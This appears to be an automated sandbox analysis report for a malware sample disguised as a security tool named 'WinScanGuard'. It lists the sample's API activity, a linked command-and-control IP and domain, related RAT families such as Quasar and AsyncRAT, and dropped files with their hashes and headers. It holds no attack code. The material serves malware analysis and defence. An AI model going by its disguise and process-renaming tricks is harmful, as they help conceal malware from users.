Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:55:14	API Interceptor	26x Sleep call for process: WinScanGuard_v.2.1.bat.exe modified
16:55:29	API Interceptor	1x Sleep call for process: WerFault.exe modified
16:55:32	API Interceptor	149691x Sleep call for process: $sxr-powershell.exe modified
16:56:15	API Interceptor	112145x Sleep call for process: winlogon.exe modified
16:56:17	API Interceptor	104518x Sleep call for process: dwm.exe modified
16:56:18	API Interceptor	69431x Sleep call for process: lsass.exe modified
16:56:19	API Interceptor	1018x Sleep call for process: svchost.exe modified
16:56:21	API Interceptor	343x Sleep call for process: PHZMpSLEzcFKaRUZszZmeOVApLd.exe modified
16:56:23	API Interceptor	220x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
167.71.56.116	Shadow-Stealer.bat	Get hash	malicious	Quasar	Browse
	OvA6x5v34G.exe	Get hash	malicious	AsyncRAT	Browse
	zUYpYikG7T.exe	Get hash	malicious	njRat	Browse
	SdwkQEBnc3.exe	Get hash	malicious	Nanocore	Browse
	riV1K85Awe.exe	Get hash	malicious	Nanocore	Browse
	Malwarebytes Gears.exe	Get hash	malicious	AsyncRAT	Browse
	H8RZSly6dG.exe	Get hash	malicious	Njrat	Browse
	8E8732B9BEBC8382E938B48697E79FEB4B06528DF41FD.exe	Get hash	malicious	njRat	Browse
	qCotr6jZt2.exe	Get hash	malicious	njRat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
eu-central-7075.packetriot.net	Shadow-Stealer.bat	Get hash	malicious	Quasar	Browse	167.71.56.116
	OvA6x5v34G.exe	Get hash	malicious	AsyncRAT	Browse	167.71.56.116
	zUYpYikG7T.exe	Get hash	malicious	njRat	Browse	167.71.56.116
	SdwkQEBnc3.exe	Get hash	malicious	Nanocore	Browse	167.71.56.116
	riV1K85Awe.exe	Get hash	malicious	Nanocore	Browse	167.71.56.116
	Malwarebytes Gears.exe	Get hash	malicious	AsyncRAT	Browse	167.71.56.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGITALOCEAN-ASNUS	Shadow-Stealer.bat	Get hash	malicious	Quasar	Browse	167.71.56.116
	76IbxcfOQf.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	37.139.22.180
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	37.139.22.180
	REQUEST FOR 01-DEC 2023.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	Altogether.exe	Get hash	malicious	FormBook, GuLoader	Browse	64.225.91.73
	Plyshaar.exe	Get hash	malicious	FormBook, GuLoader	Browse	64.225.91.73
	SecuriteInfo.com.Win32.PWSX-gen.16993.11761.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	SecuriteInfo.com.Win32.PWSX-gen.1907.2567.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	165.227.156.49
	DocScan 105811-26.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	m2jngcTeBu.elf	Get hash	malicious	Mirai	Browse	162.243.214.175
	DocScan 814-1125-2023.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	https://login.logggiondocuumennnt.click/?username=cew@smrw.com	Get hash	malicious	HTMLPhisher	Browse	188.166.83.143
	tHRIRkYRbE.elf	Get hash	malicious	Mirai	Browse	138.68.169.154
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	67.205.189.1
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	142.93.169.197
	http://192.241.199.70	Get hash	malicious	Unknown	Browse	192.241.199.70
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	165.22.196.27
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	68.183.34.12

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Shadow-Stealer.bat	Get hash	malicious	Quasar	Browse
	trafik_yenilme.bat	Get hash	malicious	Remcos, zgRAT	Browse
	a.bat	Get hash	malicious	Agniane Stealer, zgRAT	Browse
	Rune_Launcher.bat	Get hash	malicious	Quasar	Browse
	SCO_23.bat	Get hash	malicious	zgRAT	Browse
	IMG_690B23.docx.bat	Get hash	malicious	AgentTesla	Browse
	Qtagiietkyb.png.bat	Get hash	malicious	Strela Stealer	Browse
	IMG_690B23.bat	Get hash	malicious	AgentTesla, zgRAT	Browse
	SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe	Get hash	malicious	Unknown	Browse
	345d.cmd	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	PingOptimizerMain.bat	Get hash	malicious	Quasar	Browse
	crack.bat	Get hash	malicious	Unknown	Browse
	da49aae4ea90792e9f5497dcd2c4fa8cf7bb98a23b2d846ab985facf.bat	Get hash	malicious	Quasar	Browse
	Final_rooming_list.bat	Get hash	malicious	Blackshades, Quasar	Browse
	RE_432-7784.js	Get hash	malicious	Unknown	Browse
	FA150623.pdf.bat	Get hash	malicious	AgentTesla	Browse
	Uni.bat	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_dllhost.exe_e9f77695e3d2cfb5e47f6370dede8f33ec75f9_c90535d8_a52369eb-1042-4564-b52e-6baa10ff69df\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6168607357178283
Encrypted:	false
SSDEEP:	96:lrF4Aypwfs9stDaQ1yDf/QXIDcQzc6CmcE1cw3Cm505t+H4ZAX/d5FMT2SlPkpXY:BHUz900NXfnxzuiFBZ24IO84M
MD5:	47399C62990857B59A574365850D9353
SHA1:	00652450030722B18B43FB2DC2A4D3793DD3C6C5
SHA-256:	F441C52CCFA9D357D4EE0E3F45BBA432CB71E7BA94220ECB56FDF5A9E6C4933A
SHA-512:	399CB29B124FBADE0547278F78E878BF7157405CA70398162E73C2F37EB078DAEF897327FC5BC3D54A855884E6A4AB7EAD4FE534CFE5F14A0AEDD637C9923B20
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.6.0.9.2.5.2.6.0.3.2.6.0.6.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.6.0.9.2.5.2.6.4.8.5.7.3.8.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.5.2.3.6.9.e.b.-.1.0.4.2.-.4.5.6.4.-.b.5.2.e.-.6.b.a.a.1.0.f.f.6.9.d.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.0.2.5.c.8.3.8.-.4.c.4.6.-.4.0.d.9.-.a.3.b.f.-.8.c.5.0.f.1.7.9.0.3.3.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.d.l.l.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.d.l.l.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.d.c.-.0.0.0.1.-.0.0.1.4.-.a.f.3.6.-.4.d.2.1.0.1.2.6.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.4.9.7.b.8.c.e.2.3.8.d.b.6.4.4.b.7.e.1.a.1.6.b.4.1.7.d.b.b.5.b.c.0.5.2.a.2.6.8.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE67.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Dec 3 15:55:26 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	20544
Entropy (8bit):	2.1176116743448796
Encrypted:	false
SSDEEP:	96:5tw8irfE3h6Ud2qWivzwQH48GQ+DXrnXPM5hrN6rlcl7jWI/WIJDOwM:bziVbvQon/ej6rlclRCwM
MD5:	C45E43A45BEEFF12A59E6DB9FF61D52E
SHA1:	6C4EE78029C862D142F80160C3FDA28BAA5ACB6E
SHA-256:	A6EDCF7C739C2F89BD82A2726AD1D3A7ED714A42FC05E0FF8D66F0B4FC5F99FE
SHA-512:	61514AB0ABFF60916F1131F1FAE6FB787299BC78D62F80248523C224816A018232B06FB1681FBFF0590E34B3235557DACE05F21952FBDCCDD40B240E632B848A
Malicious:	false
Preview:	MDMP..a..... ........le............4........... ...<.......d...............T.......8...........T...........(....J..........\...........H...............................................................................eJ..............GenuineIntel............T............le.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF24.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8320
Entropy (8bit):	3.697334964140081
Encrypted:	false
SSDEEP:	192:R6l7wVeJyQ6zE6Y8nSUrgmfjPJSWOrpx089bxasf0Bbm:R6lXJt6w6YsSUrgmfjPJSWOVx5fJ
MD5:	8121C2753ACDF8E43727E1286DFF2E39
SHA1:	2C0C43B2115FE79926C154AE187DE0D978A2ECE7
SHA-256:	B5BAACD7DD04EF443DF6B5F22DBF0F6F8E978E35B611D9311914544FA5665EDC
SHA-512:	BB97355BEB5017D4B4AD96D75E3EB71E61687E19A1DD2E538B17FB811BF9B5F3C2018C52EC6361B4ACB95DDC55AA490F9C66A669BF4134E42428D608829FE1E5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF54.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4649
Entropy (8bit):	4.443870618806782
Encrypted:	false
SSDEEP:	48:cvIwWl8zspJg77aI9lSWpW8VYDYm8M4JsLFl+q8+y5ILHBQqCd:uIjf7I73z7VnJscKdlCd
MD5:	F4F1D1901D4BC05CD07C183361A26759
SHA1:	4AEA5A072F80B2D59BC34CB57E726478951F988A
SHA-256:	45504EA8DD2A72B07EE4E3F72DA8B19CEDC6F50EEA125FAA34375A1745265670
SHA-512:	C9DA81750A5E576AA0AADE6CAFBB04D72CD0306A31740F5FE45B0F704604651F0739F271A082C78A15C815CCDF85F3592BFC5F0F2E3A3DF80BC72434BBF39571
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="88258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinScanGuard_v.2.1.bat.exe.log

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	3603
Entropy (8bit):	5.364531743127414
Encrypted:	false
SSDEEP:	96:iqbYqGSI6o9xYsntpDxqKkWqmq1ftzHNYrKaq7mSRIzQ09wmj0qD:iqbYqGcQtpDxqKkWqmq1ftzHuLqdIzQk
MD5:	CB025951AB11BC9879660B66AB48A871
SHA1:	539153A3469E5EA91A5700944F0CC3547C32AE21
SHA-256:	057D8F2026B51CBB81516E9A8DDE433D4AEBE1FF6E22D1CB60A742E1EA899367
SHA-512:	E7095F21D3765FBC7E5F4E97C2CC37A8E56802D5AE7CAE1276BE62E096AF1B06B8B31B83CF7B475D6BE3D82186772B95ADB45A68A84AD060EDCCA3154B4CE6F9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\0827b790b8e74d0d12643297a812ae07\Microsoft.PowerShell.ConsoleHost.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\27947b366dfb4feddb2be787d72ca90d\System.Management.Automation.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d5

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.887486353364779
Encrypted:	false
SSDEEP:	192:I9sm73YrKkDp5hVsm5eml89smFp5IiMDOmEN3H+OHgFqxoeRM3YrKkDVsm5emlpj:HPYmiQ0HzAFItib4Mib4WVoGIpN6KQkT
MD5:	69E9F3FAAEAC92E92B26596DBA884D3B
SHA1:	02A87F2EAD0B9DC6202372D370B4D58D025B7CB2
SHA-256:	F2453CFAB4FB2EB61E0E4DD4BAF35E926BE43E0C8E36569A3A325E605316B321
SHA-512:	BD0EEF728D260D0BD217B507DC217BB96FA0C069FA872E6D5C8805B922ED81D9F0528AC1EE775F0BC1B1BB666FCE7B170385E5AE229A55D0D4FFF2AC936524FF
Malicious:	false
Preview:	PSMODULECACHE..........z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope........-.l..z..a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider.............z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEa

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulPiCllp:NllUaml
MD5:	23CD0F32487D4C39C45260019751EE98
SHA1:	6AD7B5337078F75823A72D2AE378815F12D2BDDE
SHA-256:	B1C6D3B064C65143F28727AC3FF69A42CD9844C70407E599832C5008D6A1C576
SHA-512:	33B63EBADB890E640FE07095F8C5976BF5CDF84D5197787DE585C718CDA3208A48B046A3BCE2039F6AEFCF3900E7F172E124543AD4EC835E5BD900FDAAE4EB91
Malicious:	false
Preview:	@...e...................................'............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_czkvuqwa.z05.psm1

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gnhdjmxp.ad2.ps1

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ije0lk0v.uff.psm1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwh1b4ew.3yg.psm1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxs4pjp0.5c3.ps1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wc3snacw.ye3.ps1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Shadow-Stealer.bat, Detection: malicious, Browse Filename: trafik_yenilme.bat, Detection: malicious, Browse Filename: a.bat, Detection: malicious, Browse Filename: Rune_Launcher.bat, Detection: malicious, Browse Filename: SCO_23.bat, Detection: malicious, Browse Filename: IMG_690B23.docx.bat, Detection: malicious, Browse Filename: Qtagiietkyb.png.bat, Detection: malicious, Browse Filename: IMG_690B23.bat, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe, Detection: malicious, Browse Filename: 345d.cmd, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: PingOptimizerMain.bat, Detection: malicious, Browse Filename: crack.bat, Detection: malicious, Browse Filename: da49aae4ea90792e9f5497dcd2c4fa8cf7bb98a23b2d846ab985facf.bat, Detection: malicious, Browse Filename: Final_rooming_list.bat, Detection: malicious, Browse Filename: RE_432-7784.js, Detection: malicious, Browse Filename: FA150623.pdf.bat, Detection: malicious, Browse Filename: Uni.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Windows\$sxr-cmd.exe

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	6.135598950357573
Encrypted:	false
SSDEEP:	6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
SHA1:	F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
SHA-256:	B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
SHA-512:	99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

C:\Windows\$sxr-mshta.exe

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	4.477514759495553
Encrypted:	false
SSDEEP:	192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5:	0B4340ED812DC82CE636C00FA5C9BEF2
SHA1:	51C97EBE601EF079B16BCD87AF827B0BE5283D96
SHA-256:	DBA3137811C686FD35E418D76184070E031F207002649DA95385DFD05A8BB895
SHA-512:	D9DF8C1F093EA0F7BDE9C356349B2BA43E3CA04B4C87C0F33AB89DDA5AFE9966313A09B60720AA22A1A25D43D7C71A060AF93FB8F6488201A0E301C83FA18045
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}xT[9.:.9.:.9.:.0a..=.:.-r9.;.:.-r>.(.:.9.;...:.-r;.:.:.-r?.:.:.-r2.:.:.-r..8.:.-r8.8.:.Rich9.:.........PE..d.....c..........."............................@....................................r'....`.................................................d'..P....P.......@...............p.. ....$..T............................ ..............(!..p............................text............................... ..`.rdata..4.... ......................@..@.data........0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc.. ....p.......8..............@..B........................................................................................................................................................................................................................................................................

